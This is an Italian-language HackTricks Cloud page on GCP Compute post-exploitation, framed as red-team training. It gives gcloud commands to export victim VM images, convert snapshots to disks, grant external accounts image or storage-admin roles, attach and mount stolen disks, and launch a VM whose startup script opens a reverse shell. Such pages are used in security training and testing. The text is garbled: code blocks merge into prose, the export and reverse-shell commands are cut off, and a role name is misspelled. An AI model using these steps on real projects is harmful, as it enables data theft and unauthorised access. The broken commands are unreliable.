GCP - Compute Post Exploitation
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Compute
Per maggiori informazioni su Compute e VPC (Networking) consulta:
Export & Inspect Images locally
Questo permetterebbe a un attaccante di accedere ai dati contenuti all’interno di immagini già esistenti o di creare nuove immagini di VM in esecuzione e accedere ai loro dati senza avere accesso alla VM in esecuzione.
È possibile esportare un’immagine VM in un bucket e poi scaricarla e montarla localmente con il comando:
Esporta e scarica immagine VM
```bash gcloud compute images export --destination-uri gs://Per eseguire questa azione l’attaccante potrebbe aver bisogno di privilegi sullo storage bucket e sicuramente di privilegi su cloudbuild in quanto è il servizio che verrà incaricato di eseguire l’export
Inoltre, perché ciò funzioni, il codebuild SA e il compute SA necessitano di permessi privilegiati.
Il cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com necessita di:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
E il SA <project-id>-compute@developer.gserviceaccount.com necessita di:
- oles/compute.storageAdmin
- roles/storage.objectAdmin
Esportare e ispezionare snapshot e dischi localmente
Non è possibile esportare direttamente snapshot e dischi, ma è possibile trasformare uno snapshot in un disco, un disco in un’immagine e, seguendo la sezione precedente, esportare quell’immagine per ispezionarla localmente
Creare un disco da uno snapshot e un'immagine da un disco
```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]Create an image from a disk
gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]
</details>
### Ispezionare un'immagine creando una VM
Con l'obiettivo di accedere ai **dati memorizzati in un'immagine** o all'interno di una **VM in esecuzione** da cui un attaccante **ha creato un'immagine,** è possibile concedere a un account esterno l'accesso all'immagine:
<details>
<summary>Concedere accesso all'immagine e creare una VM</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
e poi creare una nuova VM da essa:
Crea un'istanza VM dall'immagine
```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```Se non riuscissi a dare al tuo account esterno accesso all’image, potresti avviare una VM usando quell’image nel progetto della vittima e far sì che i metadata eseguano una reverse shell per accedere all’image aggiungendo il parametro:
Crea VM con reverse shell nei metadata
```bash --metadata startup-script='#! /bin/bash echo "hello";Ispezionare uno Snapshot/Disco collegandolo a una VM
Con l’obiettivo di accedere ai dati memorizzati in un disco o in uno snapshot, puoi trasformare lo snapshot in un disco, un disco in un’immagine e seguire i passaggi precedenti.
Oppure puoi concedere l’accesso a un account esterno sul disco (se il punto di partenza è uno snapshot, concedi l’accesso allo snapshot o crea un disco da esso):
Concedere accesso al disco
```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```Allega il disco a un’istanza:
Allega il disco all'istanza
```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```Montare il disco nella VM:
- Connettiti via SSH alla VM:
SSH nella VM e montare il disco
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
- Identificare il disco: Una volta nella VM, identifica il nuovo disco elencando i dispositivi disco. Tipicamente lo troverai come
/dev/sdb,/dev/sdc, ecc. - Formattare e montare il disco (se è un disco nuovo o raw):
- Creare un punto di mount:
Creare il punto di mount
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
- Montare il disco:
Montare il dispositivo del disco
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
Se non puoi dare accesso a un progetto esterno allo snapshot o al disco, potrebbe essere necessario eseguire queste azioni all’interno di un’istanza nello stesso progetto dello snapshot/disk.
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

